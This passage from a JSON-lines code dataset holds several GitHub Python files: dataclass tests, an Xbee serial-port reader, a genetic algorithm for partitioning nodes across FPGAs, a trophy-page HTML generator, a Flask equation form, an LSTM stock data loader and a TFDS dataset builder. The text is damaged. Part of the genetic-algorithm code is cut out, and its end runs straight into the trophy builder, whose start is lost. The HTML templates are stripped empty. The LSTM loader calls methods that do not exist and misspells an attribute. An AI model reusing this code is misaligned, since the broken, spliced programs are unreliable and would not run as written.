field(init=False)\n\n x = X()\n x.s = None\n\n result = from_dict(X, {})\n\n assert result == x\n\n\ndef test_from_dict_with_non_init_field_with_default_value_and_frozen_dataclass():\n @dataclass(frozen=True)\n class X:\n s: str = field(init=False, default=\"test\")\n\n result = from_dict(X, {})\n\n assert result == X()\n\n\ndef test_from_dict_with_new_type():\n MyStr = NewType(\"MyStr\", str)\n\n @dataclass\n class X:\n s: MyStr\n\n result = from_dict(X, {\"s\": \"test\"})\n\n assert result == X(s=MyStr(\"test\"))\n\n\ndef test_dataclass_default_factory_identity():\n # https://github.com/konradhalas/dacite/issues/215\n @dataclass\n class A:\n name: str\n items: List[str] = field(default_factory=list)\n\n a1 = from_dict(A, {\"name\": \"a1\"})\n a2 = from_dict(A, {\"name\": \"a2\"})\n\n assert a1.items is not a2.items\n","repo_name":"konradhalas/dacite","sub_path":"tests/core/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","stars":1551,"dataset":"github-code","pt":"70"} +{"seq_id":"72757710626","text":"import serial\nfrom serial import Serial, SerialException\nimport sys\nimport glob\n\n'''\nClasse responsavel pelas operações com portas seriais, como atualização e listamento das portas disponiveis, abertura, \nleitura e fechamento de uma porta serial selecionada. Ela que recebe e lê os dados enviado pelo rádio Xbee, enviado \npara as demais classes do código.\n'''\n\nclass SerialPort:\n #Método Construtor\n def __init__(self, ui, errorLog):\n self.errorLog= errorLog #Instancia da classe Log\n self.ui= ui #Instancia gráfica \n self.port = serial.Serial() #Atributo\n\n # Retorna uma Lista com os nomes das portas seriais disponiveis\n def listSerialPorts(self):\n #Leitura de portas seriais disponiveis de acordo com sistema operacional utilizado\n #sistema operacional Windows\n if sys.platform.startswith('win'):\n ports = ['COM%s' % (i + 1) for i in range(256)]\n \n #sistema operacional Linux ou Unix\n elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):\n # this excludes your current terminal \"/dev/tty\"\n ports = glob.glob('/dev/tty[A-Za-z]*')\n \n #sistema operacional Mac OS\n elif sys.platform.startswith('darwin'):\n ports = glob.glob('/dev/tty.*')\n\n #sistema não suportado pela interface, lança exceção da classe padrão EnvironmentError\n else:\n raise EnvironmentError('Unsupported platform')\n \n # Deixa todos portas seriais disponiveis fechadas para o programa, deixando o usuário selecionar qual deseja abrir\n # Cria vetor com lista de portas disponiveis a serem retornadas\n result = []\n for port in ports:\n try:\n s = serial.Serial(port)\n s.close()\n result.append(port)\n #lança exceção, caso não seja possivel fechar uma porta serial, indicando que ela está \n #sendo utilizada por outro programa do SO, não a incluindo na lista de disponiveis ao usuário\n except (OSError, serial.SerialException):\n pass\n \n #retorna vetor (result) com lista de portas seriais disponiveis ao usuario\n return result\n\n\n # Atualiza a lista de portas seriais disponiveis\n def updatePorts(self):\n self.ui.comboBox_SerialPorts.clear() #apaga lista atual\n ports= self.listSerialPorts()\n self.ui.comboBox_SerialPorts.addItems(ports) #mostra lista atualizada de portas\n\n\n # Abre porta serial selecionada\n def openSerialPort(self, baudrate, selectedPort, timeout):\n #configura parâmetros, como taxa de transmissão (baudrate), para a abertura da porta serial\n self.port.baudrate = baudrate\n self.port.port = selectedPort\n self.port.timeout = timeout\n #abre porta selecionada\n self.port.open()\n print(\"abriu\")\n\n\n # Le buffer da porta serial, verificadobufferSize é uma lista com os tamanhos dos pacotes e firstByteValues\n # é uma lista com os numeros dos pacotes (1,2,3,4)\n def readFromSerialPort(self, bufferSize, firstByteValues):\n #Leitura dos primeiro dois bytes do vetor, verificando se buffer recebido esta no formato correto\n while True:\n # espera receber algo na porta serial\n while (self.port.inWaiting() == 0):\n pass\n \n # Verifica se primeiro byte corresponde a um dos pacotes (1,2,3 ou 4)\n # Faz comparações implementadas, em que sempre o primeiro e segundo byte do pacote tem que ser o núm. do pacote e 5 respectivamente\n read_buffer = b''\n firstByte = self.port.read()\n if int.from_bytes(firstByte, byteorder='big') in firstByteValues:\n read_buffer += firstByte\n # le o segundo byte de inicio\n a = self.port.read()\n if int.from_bytes(a, byteorder='big') == 5:\n read_buffer += a\n break\n else:\n self.errorLog.writeLog(\"Leitura: segundo byte com valor inesperado. Leu-se \" + str(firstByte) + \", esperava-se 5\")\n \n # se o byte lido nao for 1, 2 3 ou 4, quer dizer que algum dado se perdeu. Buffer em formato incorreto.\n # lança mensagem de erro na instancia errorLog\n else:\n self.errorLog.writeLog(\"Leitura: primeiro byte com valor inesperado. Leu-se \" + str(firstByte) + \", esperava-se de 1 a 4\")\n\n #Leitura do resto do buffer, verificando se este está completo para aquele respectivo pacote\n while True:\n #index é o numero do pacote que o buffer esta enviando\n index = int.from_bytes(firstByte, byteorder='big') - 1\n #le quando bytes tem no vetor, além dos dois já lidos anteriormente\n byte = self.port.read(size=int(bufferSize[index] - 2))\n read_buffer += byte\n\n # Compara se o pacote tem o tamanho esperado\n # Faz comparações implementadas, em que sempre o penultimo e o último valor do pacote tem que ser 9 e 10 respectivamente\n if(len(read_buffer) == bufferSize[index]):\n if int(read_buffer[bufferSize[index]-2]) == 9:\n # Chegou no fim do pacote\n if int(read_buffer[bufferSize[index]-1]) == 10:\n break\n else:\n self.errorLog.writeLog(\"Leitura: ultimo dado diferente de byte 10\" + str(read_buffer))\n return []\n else:\n self.errorLog.writeLog(\"Leitura: penultimo dado diferente de byte 9\")\n return []\n \n # Retorna buffer de dados lidos do respectivo pacote\n return read_buffer\n","repo_name":"andreloppes/TeleRemake21","sub_path":"SerialPort.py","file_name":"SerialPort.py","file_ext":"py","file_size_in_byte":5877,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23393360994","text":"\"\"\"\n集成电路计算机辅助\n实验二\n2022.3.28 21:00\n\"\"\"\n\n\nimport random\nimport copy\nfrom time import time\nimport numpy as np\nimport networkx as nx\nfrom matplotlib import pyplot as plt\nimport warnings\nimport datetime\nimport sys\n\nwarnings.filterwarnings('ignore')\n\n\ndef weightCal(targlist):\n \"\"\"\n 计算各象限的资源权重和\n 输入节点-权值字典列表\n 返回字典中权值总和列表\n \"\"\"\n weightlist = []\n for targdict in targlist: # 遍历列表\n targkey = list(targdict.keys())\n weightsum = 0\n for i in targkey: # 遍历其中一个象限\n val = targdict[i]\n weightsum = weightsum + val\n weightlist.append(weightsum)\n return weightlist\n\n\ndef read_are(filepath):\n \"\"\"\n 读取are文件 返回字典\n 键为节点名 值为节点的资源和\n {'g0': 65, 'g1': 53}\n \"\"\"\n aredata = []\n aredict = {}\n aredata = np.genfromtxt(filepath, dtype=str)\n\n for i in aredata:\n c = np.array(i[1:].astype(np.int).tolist())\n are_not_zero = c.ravel()[np.flatnonzero(c)] # 筛选非零\n aredict[i[0]] = sum(are_not_zero.tolist())\n return aredict\n\n\ndef initPop(N, nc):\n \"\"\"\n 产生N个染色体的初始群体,保存在pop\n 将染色体编码为范围为(-1, 1)的浮点数 也就是53个节点的位置pos信息\n 前nc个随机数为x 后nc个随机数为y\n 编码为节点会方便一些\n 引入坐标为计算布局 连线做准备\n \"\"\"\n pop = -1 + 2 * np.random.random((N, nc * 2))\n return pop\n\n\ndef posCal(posdict, aredict):\n \"\"\"\n 确认节点位于哪一象限\n aredict为所有节点的资源权重字典\n 输入节点-位置字典 返回各个象限的节点-权重字典\n \"\"\"\n Z1_dict = {}\n Z2_dict = {}\n Z3_dict = {}\n Z4_dict = {}\n\n for key in posdict.keys():\n val = posdict[key]\n x = val[0]\n y = val[1]\n\n if x > 0 and y > 0:\n Z1_dict[key] = aredict[key]\n elif x > 0 and y < 0:\n Z4_dict[key] = aredict[key]\n elif x < 0 and y > 0:\n Z2_dict[key] = aredict[key]\n else:\n Z3_dict[key] = aredict[key]\n return [Z1_dict, Z2_dict, Z3_dict, Z4_dict]\n\n\ndef varCal(pop):\n \"\"\"\n 计算方差 均值\n \"\"\"\n N, nc = np.shape(pop)\n lstvar = np.zeros([N, 1])\n lstmean = np.zeros([N, 1])\n lstweight = []\n\n for i in range(N):\n aredict = read_are(arepath)\n gene = pop[i, :] # 取一个染色体\n pos = geneDict(gene, aredict) # 将gene中的坐标绑定节点\n quadict = posCal(pos, aredict) # 判定节点位于哪个区域\n weightlist = weightCal(quadict) # 计算权重\n lstvar[i] = np.var(weightlist) # 计算方差\n lstmean[i] = np.mean(weightlist) # 计算平均值\n lstweight.append(weightlist)\n return lstvar, lstmean, lstweight\n\n\ndef geneDict(gene, aredict):\n \"\"\"\n 将gene坐标与节点绑定\n 前nc个gene为x 后nc个gene为y\n \"\"\"\n pos = {}\n nc = int(len(gene) / 2)\n targkey = list(aredict.keys())\n i = 0\n for key in targkey:\n pos[key] = [gene[i], gene[i + nc]]\n i = i + 1\n return pos\n\n\ndef fitnessCal(pop, mode):\n \"\"\"\n 根据方差/连线和 计算各个染色体的适应值fitness\n 方差lstvar = np.zeros([N, 1])\n 连线和lstsum = np.zeros([N, 1])\n \n 3个模式 mode == 1方差最小 mode == 2连线和最小 mode == 3满足条件使连线和最小\n 传入pop\n 再调用函数计算var sum\n \"\"\"\n lstvar, lstmean, listweight = varCal(pop)\n lstsum = linkCal(pop)\n\n # 方差最小\n if(mode == 1):\n fitness = 1.0 / lstvar\n \n # 连线和最小\n elif(mode == 2):\n fitness = 1.0 / lstsum\n\n elif(mode == 3):\n # fitlink = 1.0 / lstsum\n \"\"\"\n 0.9M zmax:\n zmax = zabs\n if(zmax < lstmean[i] * 0.2):\n fitlink[i] = 1.0 / lstsum[i]\n else:\n fitlink[i] = (1.0 / lstsum[i]) / zmax\n fitness = fitlink\n else:\n print('error in fitnessCal')\n return fitness\n\n\ndef linkCal(pop):\n \"\"\"\n 计算染色体群连线和\n \"\"\"\n N, nc = np.shape(pop)\n lstsum = np.zeros([N, 1])\n\n for i in range(N):\n aredict = read_are(arepath)\n gene = pop[i, :] # 取一个染色体\n pos = geneDict(gene, aredict) # 将gene中的坐标绑定节点\n quadict = posCal(pos, aredict) # 判定节点位于哪个区域\n nodelist = read_net(netpath) # 所有线网\n netlink = linkSum(nodelist, quadict)\n lstsum[i] = sum(netlink)\n return lstsum\n\n\ndef linkSum(nodelist, quadlist):\n \"\"\"\n 计算一个分布中四个象限的连线和\n 输入:所有线网列表 节点分配的字典列表\n 输出:连线值列表 \n \"\"\"\n maxnum = len(nodelist)\n nodeset = [] # 线网集合的list\n for i in nodelist:\n j = set(i)\n nodeset.append(j)\n\n quadset = [] # 象限集合的list\n for i in quadlist:\n j = set(list(i.keys()))\n quadset.append(j)\n\n netlink = [] # 四个象限的连接数\n for i in quadset: # 循环象限\n link = 0\n for j in nodeset: # 循环所有线网\n # if (len(a & b) != 0) & (len(a & b) != len(b)):\n if (len(i & j) != 0) & (len(i & j) != len(j)):\n link += 1\n # 如果某一区域的连线和为0\n if link == 0:\n link = maxnum\n netlink.append(link)\n return netlink\n\n\ndef findBest(pop, fitness):\n \"\"\"\n 根据染色体群体pop已经对应的适应值fitness\n 找到最高的适应值f,以及对应的染色体bst和其在pop中的编号/下标ind\n \"\"\"\n f = np.max(fitness)\n ind = np.asarray(np.where(fitness == f)).flatten()\n bst = pop[ind, :]\n return [bst, f, ind]\n\n\ndef satified(fitness):\n return 0\n\n\ndef chooseNewP(pop, fitness):\n \"\"\"\n 根据染色体的适应值 按照一定的概率 生成新一代染色体群体newpop\n 取得原群体的某些染色体\n \"\"\"\n N, nc = np.shape(pop)\n fitness = np.cumsum(fitness) # 转为一维数组\n selelst = np.zeros([N, 1]) # 原群体中的某些染色体的编号\n for i in range(N):\n rval = np.random.rand()\n selelst[i] = 0\n for j in range(N - 1, -1, -1):\n if rval > fitness[j]:\n selelst[i] = j\n break\n newpop = pop[list(selelst.flatten().astype(np.uint8)), :]\n return newpop\n\n\ndef crossPop(pop, pc, fitness, SelfAdj):\n \"\"\"\n 根据交叉频率pc 以及各染色体的适应值fitness\n 通过交叉的方式生成新群体\n SelfAdj = 1时为自适应,否则取固定的交叉概率pc\n \"\"\"\n N, nc = np.shape(pop)\n crosslst = list(range(N)) # 原群体中的某些染色体的编号\n np.random.shuffle(crosslst)\n\n fmax = np.max(fitness)\n fmean = np.mean(fitness)\n k1 = pc\n k2 = pc\n i = 0\n\n while i < int(N / 2):\n rval = np.random.rand()\n j = np.random.randint(int(N / 2), N)\n\n if SelfAdj == 1:\n fprime = np.max(fitness[i], fitness[j])\n if fprime > fmean:\n pc = k1 * (fmax - fprime) / (fmax - fmean)\n else:\n pc = k2\n\n if rval > pc:\n continue\n\n partner1 = copy.copy(pop[crosslst[i], :]) # 浅复制\n partner2 = copy.copy(pop[crosslst[j], :])\n\n if (partner1 == partner2).all(): # 迭代 全相等\n continue\n\n child1, child2 = genecross(partner1, partner2)\n pop[crosslst[i], :] = copy.copy(child1)\n pop[crosslst[j], :] = copy.copy(child2)\n i = i + 1\n\n\ndef genecross(partner1, partner2):\n \"\"\"\n 父染色体partner1,partner2\n 通过交叉方式\n 生成两个子染色体child1,child2\n \"\"\"\n length = len(partner1)\n idx1 = 0\n idx2 = 0\n while idx1 == idx2:\n idx1 = random.randint(0, length - 1)\n idx2 = random.randint(0, length - 1)\n ind1 = min(idx1, idx2)\n ind2 = max(idx1, idx2)\n\n child1 = copy.copy(partner1)\n child2 = copy.copy(partner2)\n\n tem1 = copy.copy(child1[ind1:ind2])\n tem2 = copy.copy(child2[ind1:ind2])\n\n if (tem1 == tem2).all():\n return [child1, child2]\n if set(tem1) == set(tem2):\n child1[ind1:ind2] = tem2\n child2[ind1:ind2] = tem1\n return [child1, child2]\n\n temdff1 = set(tem1).difference(set(tem2))\n temdff2 = set(tem2).difference(set(tem1))\n\n for i in range(len(temdff1)):\n child1[np.where(child1 == list(temdff2)[i])] = list(temdff1)[i]\n child2[np.where(child2 == list(temdff1)[i])] = list(temdff2)[i]\n\n child1[ind1:ind2] = tem2\n child2[ind1:ind2] = tem1\n return [child1, child2]\n\n\ndef mutPop(pop, pw, fitness, SelfAdj):\n \"\"\"\n 根据变异概率pw 以及各染色体的适应值fitness\n 通过编译的方式生成新群体\n SelfAdj = 1时为自适应,否则取固定的交叉概率pw\n \"\"\"\n N, nc = np.shape(pop)\n\n fm = max(fitness)\n fa = np.mean(fitness)\n k3 = pw\n k4 = pw\n for i in range(N):\n rval = random.random()\n if SelfAdj == 1: # 自适应,参考149页\n if fitness[i] > fa:\n pw = k3 * (fm - fitness[i]) / (fm - fa)\n else:\n pw = k4\n if rval > pw:\n continue\n pop[i, :] = np.asarray(mutWeightGene(pop[i, :]))\n\n\ndef mutWeightGene(gene):\n \"\"\"\n 资源变异\n 找出资源权重和最大与最小的区域\n 交换某些节点\n \"\"\"\n aredict = read_are(arepath) # 所有节点\n pos = geneDict(gene, aredict) # {'节点':坐标}\n quadict = posCal(pos, aredict)\n weightlist = weightCal(quadict)\n\n # 先取得最大权重和的下标 再在象限列表中取得对应的字典\n quadmin = quadict[weightlist.index(min(weightlist))]\n quadmax = quadict[weightlist.index(max(weightlist))]\n\n # 权重最值的键 也就是节点\n keymax = max(quadmax, key=quadmax.get)\n keymin = min(quadmin, key=quadmin.get)\n\n # 将 节点-权重 字典更新为 节点-坐标 字典\n for i in quadmax.keys():\n quadmax[i] = pos[i]\n\n for i in quadmin.keys():\n quadmin[i] = pos[i]\n\n # 返回权重最值的节点的坐标\n coormax = quadmax[keymax]\n coormin = quadmin[keymin]\n\n # 分为x y来交换\n pos1x = list(gene).index(coormax[0])\n pos1y = list(gene).index(coormax[1])\n pos2x = list(gene).index(coormin[0])\n pos2y = list(gene).index(coormin[1])\n\n listgene = swaPosition(list(gene), pos1x, pos2x)\n listgene = swaPosition(list(gene), pos1y, pos2y)\n\n return listgene\n\n\ndef swaPosition(list, pos1, pos2):\n \"\"\"\n 对调列表两个元素\n \"\"\"\n list[pos1], list[pos2] = list[pos2], list[pos1]\n return list\n\n\ndef mutLinkPop(pop, pw, fitness, SelfAdj):\n \"\"\"\n 连接数变异\n \"\"\"\n N, nc = np.shape(pop)\n\n fm = max(fitness)\n fa = np.mean(fitness)\n k3 = pw\n k4 = pw\n for i in range(N):\n rval = random.random()\n if SelfAdj == 1: # 自适应,参考149页\n if fitness[i] > fa:\n pw = k3 * (fm - fitness[i]) / (fm - fa)\n else:\n pw = k4\n if rval > pw:\n continue\n pop[i, :] = mutNetLink(pop[i, :])\n\n\ndef mutNetLink(gene):\n \"\"\"\n 对连接数最大的区域进行变异\n (x, y)以一定的概率->(x, -y) (-x, y) (-x, -y)\n \"\"\"\n aredict = read_are(arepath) # 所有节点\n pos = geneDict(gene, aredict) # {'节点':坐标}\n quadict = posCal(pos, aredict) # {'节点':权重}\n nodelist = read_net(netpath)\n netlink = linkSum(nodelist, quadict) # 四个象限的连接数\n quadnum = netlink.index(max(netlink)) # 连接数最大的象限\n\n # 将节点-权重更新为节点-坐标\n quadcopy = copy.deepcopy(quadict)\n for dict in quadcopy:\n for i in dict.keys():\n dict[i] = pos[i]\n\n mutquad = quadcopy[quadnum]\n for i in mutquad.keys():\n rval = np.random.rand()\n if rval < 0.25:\n mutquad[i] = [-mutquad[i][0], mutquad[i][1]]\n elif 0.25 < rval < 0.5:\n mutquad[i] = [-mutquad[i][0], -mutquad[i][1]]\n elif 0.5 < rval < 0.75:\n mutquad[i] = [mutquad[i][0], -mutquad[i][1]]\n else:\n mutquad[i] = [mutquad[i][0], mutquad[i][1]]\n # 将象限内节点的坐标信息传递给aredict\n mutaredict = copy.deepcopy(aredict)\n for dict in quadcopy:\n for i in dict.keys():\n mutaredict[i] = dict[i]\n\n # 更新gene中的坐标\n nc = int(len(gene) / 2)\n i = 0\n for key in mutaredict.keys():\n gene[i] = mutaredict[key][0]\n gene[i + nc] = mutaredict[key][1]\n i = i + 1\n\n return gene\n\n\ndef read_net(filepath):\n \"\"\"\n 读取net文件\n 返回一个列表\n 列表元素为同一个线网的节点列表\n \"\"\"\n netdata = []\n with open(filepath, \"r\") as f:\n for line in f.readlines():\n # 去掉列表中每一个元素的换行符\n netdata.append(line.strip('\\n'))\n\n # 返回驱动节点的索引\n snode = []\n for i in range(len(netdata)):\n\n if netdata[i].count(' ') == 2:\n snode.append(i)\n\n nodegroup = []\n for i in range(len(snode)):\n\n # i + 1 <= len(snode) - 1\n if i <= len(snode) - 2:\n # 同一个线网的节点\n nodegroup.append(netdata[snode[i]:snode[i + 1]])\n else:\n # 最后一个线网\n nodegroup.append(netdata[snode[i]:])\n \"\"\"\n nodegroup[]\n [['g8 s 1', 'gp2 l', 'g10 l', 'g11 l', 'g13 l']\n ['g7 s 1', 'gp3 l', 'g10 l', 'g11 l']\n ['g6 s 1', 'gp4 l', 'g11 l']]\n \"\"\"\n netnodes = []\n for nodei in nodegroup: # 所有子图\n netnode = [] # 只含有节点的列表\n for nodej in nodei: # 一个子图\n if nodej.find('s') > 0:\n # 找到s 第一个空格前的字符就是驱动节点\n netnode.append(nodej[:nodej.index(' ')])\n else:\n # 第一个空格前的字符就是负载节点\n netnode.append(nodej[:nodej.index(' ')])\n netnodes.append(netnode)\n \"\"\"\n netnodes\n [['g8', 'gp2', 'g10', 'g11', 'g13'],\n ['g7', 'gp3', 'g10', 'g11'],\n ['g6', 'gp4', 'g11']]\n \"\"\"\n return netnodes\n\n\ndef draw_net(netnodes, pos):\n \"\"\"\n 再传入一个pos 匹配线网后 进行绘图\n \"\"\"\n g = nx.Graph()\n \n # 提取节点名\n for netnode in netnodes:\n # g.add_node(netnode[0]) # 添加驱动节点\n # for i in range(1, len(netnode)):\n # g.add_node(netnode[i]) # 添加负载节点\n # g.add_edge(netnode[0], netnode[i]) # 将该线网中的负载节点与驱动节点相连\n g.add_nodes_from(netnode)\n\n nx.draw(g, pos=pos, with_labels=True)\n plt.show()\n\n\ndef drawGraph(gene):\n \"\"\"\n 绘图 参考networkx的绘图\n \"\"\"\n aredict = read_are(arepath)\n pos = geneDict(gene, aredict)\n for i in pos.keys():\n pos[i] = np.array(pos[i])\n netnodes = read_net(netpath)\n draw_net(netnodes, pos)\n\n\ndef writeResTxt(quadlist):\n \"\"\"\n 将结果写进txt文件\n \"\"\"\n res.write('\\n')\n now_time = datetime.datetime.now()\n res.write('- - -This result is at ' + str(now_time) + '- - -')\n res.write('\\n')\n nosFPGA = len(quadlist)\n for fpga in range(nosFPGA):\n res.write(\"F\"+str(fpga))\n dict = quadlist[fpga]\n res.write(\" \" + str(list(dict.keys())))\n res.write('\\n')\n\"\"\"\n1 计算四块板各自的资源总和 Z1 Z2 Z3 Z4 使得它们的方差最小 M为平均数\n s^2 = [(M-Z1)^2 + (M-Z2)^2 + (M-Z3)^2 + (M-Z4)^2]/4\n arr = [Z1, Z2, Z3, Z4]\n M = np.mean(arr)\n s^2 = np.var(arr)\n\n2 计算每块板与其他各个板的连接线 L1 L2 L3 L4 使得它们的和最小\n\n3 计算平均值M 在所有Zi满足 0.9M dict:\n \"\"\" Get all the game data from the database. \"\"\"\n with contextlib.closing(sqlite3.connect(dbfilename)) as conn:\n with conn as cur:\n result = cur.execute(\"SELECT * FROM GAMELOOKUP;\")\n columns = [desc[0] for desc in result.description]\n games = [dict(zip(columns, game)) for game in result]\n\n # add trophies to this game dict\n for game in games:\n table = game[\"TableName\"]\n trophies = [\n Trophy(*t) for _, *t in cur.execute(f\"SELECT * FROM {table}\")\n ]\n\n game[\"trophies\"] = trophies\n\n return games\n\n\ndef count_trophies(trophies):\n result = collections.defaultdict(lambda: collections.defaultdict(int))\n for trophy in trophies:\n result[trophy.level][\"total\"] += 1\n result[trophy.level][\"obtained\"] += int(bool(trophy.obtained))\n\n return result\n\n\ndef write_header(stream: io.StringIO, game: dict):\n stream.write(\n f\"\"\"\\\n\n\n\n \n {game['GameName']} Trophies\n \n \n \n \n \n \n \n\"\"\"\n )\n\n counts = count_trophies(game[\"trophies\"])\n obtained = sum(v[\"obtained\"] for v in counts.values())\n total = sum(v[\"total\"] for v in counts.values())\n\n stream.write(\n f\"\"\"\n\n
\n \n \n \n \n \n \n \n \n \n \n \n \n
{game['GameName']}{obtained}/{total} trophies obtained
\"\"\"\n )\n\n for level in TrophyLevel.descending():\n a = counts[level][\"obtained\"]\n b = counts[level][\"total\"]\n stream.write(\n f\"\"\"\n {a}/{b}\n\"\"\"\n )\n stream.write(\n \"\"\"\n
\n\"\"\"\n )\n\n\ndef write_trophies(stream: io.StringIO, trophies: List[Trophy]):\n stream.write('')\n\n for trophy in trophies:\n details = f'
{trophy.details}' if trophy.details else ''\n if trophy.obtained:\n if isinstance(trophy.obtained, datetime.datetime):\n obtained = trophy.obtained.strftime('%m/%d/%Y %H:%M')\n else:\n # not a datetime object\n obtained = str(trophy.obtained)\n else:\n obtained = ''\n stream.write(\n f\"\"\"\n \n \n \n \n \n \n\"\"\")\n\n stream.write(\"
\n \n \n

\n {trophy.name}
\n {trophy.description}{details}\n

\n
\n {obtained}\n \n \n
\")\n\n\ndef main():\n for game in get_game_data(DBFILENAME):\n stream = io.StringIO()\n\n write_header(stream, game)\n write_trophies(stream, game[\"trophies\"])\n stream.write('''
\n\n
\n
\n\n\n\n''')\n\n with open(HERE.parent / game[\"FolderName\"] / \"trophies.html\", \"w+\") as f:\n stream.seek(0)\n f.write(stream.read())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lilellia/pixielf.github.io","sub_path":"trophies/trophy-builder.py","file_name":"trophy-builder.py","file_ext":"py","file_size_in_byte":6430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"7014182336","text":"import quadratic_equation\r\n\r\nfrom flask import Flask, request\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef login():\r\n if request.method == 'POST':\r\n try:\r\n a = int(request.form['a'])\r\n b = int(request.form['b'])\r\n c = int(request.form['c'])\r\n result = quadratic_equation.Equation(a, b, c)\r\n answer = result.getHtml()\r\n return f'
Ответ {answer}
'\r\n except ValueError:\r\n return '
Введены некорректные данные
'\r\n\r\n return '''\r\n
\r\n

a=

\r\n

b=

\r\n

c=

\r\n

\r\n

\r\n '''\r\n\r\n\r\nif __name__ == '__main__':\r\n app.debug = True\r\n app.run(\"127.0.0.1\", port='8080')\r\n","repo_name":"ReflectiveRs/tasks","sub_path":"python/task 1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"14736782207","text":"from pathlib import Path\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import StandardScaler\n\nwindow = 24\n\nclass DataLoader:\n \"\"\"A class for loading and preprocessing time series data for machine learning.\n\n ...\n\n Attributes\n ----------\n ts : pandas.DataFrame\n The time series data to be loaded and preprocessed\n args : Namespace\n A namespace containing various configuration parameters\n df_tain : pandas.DataFrame\n The training data after splitting\n df_test : pandas.DataFrame\n The testing data after splitting\n X_train : pandas.DataFrame\n The feature matrix for training\n X_test : pandas.DataFrame\n The feature matrix for testing\n y_train : pandas.DataFrame\n The target values for training\n y_test : pandas.DataFrame\n The target values for testing\n\n Methods\n -------\n split_data(split_date='2018-01-01'):\n Splits the input DataFrame into training and testing sets based on a specified date\n create_input_features(df, target='Adj Close')\n Creates input features and target variable from the input DataFrame\n apply_input_features()\n Creates input features and target variables for both training and testing sets\n create_window_data(X, Y)\n Creates windowed data for time-series analysis\n apply_window_data()\n Applies the windowing technique to training and testing data\n load_data()\n Loads, preprocesses, and splits the data, returning training and testing sets\n \"\"\"\n\n def __init__(self, df, args):\n \"\"\"\n Parameters\n ----------\n ts : pandas.DataFrame\n The time series data to be loaded and preprocessed\n args : Namespace\n A namespace containing various configuration parameters\n \"\"\"\n\n self.df = df\n self.args = args\n self.window = window\n self.df_tain = None\n self.df_test = None\n self.X_train = None\n self.X_test = None\n self.y_train = None\n self.y_test = None\n\n def split_data(self, split_date='2018-01-01'):\n \"\"\"Splits the input DataFrame into training and testing sets based on a specified date\n\n Parameters\n ----------\n split_date : str, optional\n The date used for splitting the data into training and testing sets. The default is '2018-01-01'\n \"\"\"\n\n self.df_train = self.df.loc[self.df.index <= split_date]\n self.df_test = self.df.loc[self.df.index > split_date]\n print(f\"{len(self.df_train)} days of training data \\n {len(self.df_test)} days of testing data \")\n\n @staticmethod\n def create_input_features(df, target='Adj Close'):\n \"\"\"Creates input features and target variable from the input DataFrame\n\n Parameters\n ----------\n df : pandas.DataFrame\n The input DataFrame containing time-series data\n target : str, optional\n The name of the target variable to be predicted. The default is 'Adj Close'\n\n Returns\n -------\n X : pandas.DataFrame\n The feature matrix\n y : pandas.Series\n The target variable\n \"\"\"\n\n df.set_index('date', inplace=True)\n X = df.drop(['date'], axis=1)\n if target:\n y = df[target]\n X = X.drop([target], axis=1)\n return X, y\n\n def apply_input_features(self):\n self.X_train, self.y_train = self.create_input_features(self.df_tain)\n self.X_test, self.y_test = self.create_input_features(self.df_test)\n\n def create_window_data(self, X, Y):\n \"\"\"Creates windowed data for time-series analysis\n\n Parameters\n ----------\n X : pandas.DataFrame\n The feature matrix\n Y : pandas.Series\n The target variable\n\n Returns\n -------\n X_windowed : numpy.ndarray\n The windowed feature matrix\n Y_windowed : numpy.ndarray\n The corresponding target variable for the windowed data\n \"\"\"\n\n x = []\n y = []\n for i in range(self.window-1, len(X)):\n x.append(X[i-self.window+1:i+1])\n y.append(Y[i])\n return np.array(x), np.array(y)\n \n def apply_window_data(self):\n \"\"\"Applies the windowing technique to training and testing data\n \"\"\"\n\n X_w = np.concatenate((self.X_train, self.X_test))\n y_w = np.concatenate((self.y_train, self.y_test))\n\n X_w, y_w = self.window_data(X_w, y_w)\n self.X_train_w = X_w[:-len(self.X_test)]\n self.y_train_w = y_w[:-len(self.X_test)]\n self.X_test_w = X_w[-len(self.X_test):]\n self.y_test_w = y_w[-len(self.X_test):]\n\n def load_data(self):\n \"\"\"Loads, preprocesses, and splits the data, returning training and testing sets\n\n Returns\n -------\n X_train_w : numpy.ndarray\n Feature array for training\n X_test_w : numpy.ndarray\n Feature array for testing\n y_train_w : numpy.ndarray\n Target array for training\n y_test_w : numpy.ndarray\n Target array for testing\n \"\"\"\n\n self.split_data()\n self.apply_time_features()\n self.scale_transform()\n\n return self.X_train_w, self.X_test_w, self.y_train_w, self.y_test_w","repo_name":"anaeim/deep-stock-price-prediction","sub_path":"dataloader/lstm_multivariate.py","file_name":"lstm_multivariate.py","file_ext":"py","file_size_in_byte":5473,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"29334091415","text":"from __future__ import annotations\n\nimport numpy as np\nimport tensorflow_datasets.public_api as tfds\n\n\nclass Builder(tfds.core.GeneratorBasedBuilder):\n \"\"\"DatasetBuilder for smartwatch_gestures dataset.\"\"\"\n\n VERSION = tfds.core.Version('1.0.0')\n RELEASE_NOTES = {\n '1.0.0': 'Initial release.',\n }\n\n def _info(self) -> tfds.core.DatasetInfo:\n \"\"\"Returns the dataset metadata.\"\"\"\n class_label = tfds.features.ClassLabel(\n names_file=tfds.core.tfds_path(\n 'datasets/smartwatch_gestures/labels.txt'\n )\n )\n return self.dataset_info_from_configs(\n features=tfds.features.FeaturesDict({\n 'features': tfds.features.Sequence({\n 'time_millis': np.uint64,\n 'time_nanos': np.uint64,\n 'time_event': np.uint64,\n 'accel_x': np.float64,\n 'accel_y': np.float64,\n 'accel_z': np.float64,\n }),\n 'participant': np.uint8,\n 'attempt': np.uint8,\n 'gesture': class_label,\n }),\n supervised_keys=('features', 'gesture'),\n homepage='https://tev.fbk.eu/resources/smartwatch',\n )\n\n def _split_generators(self, dl_manager):\n \"\"\"Returns SplitGenerators.\"\"\"\n path = 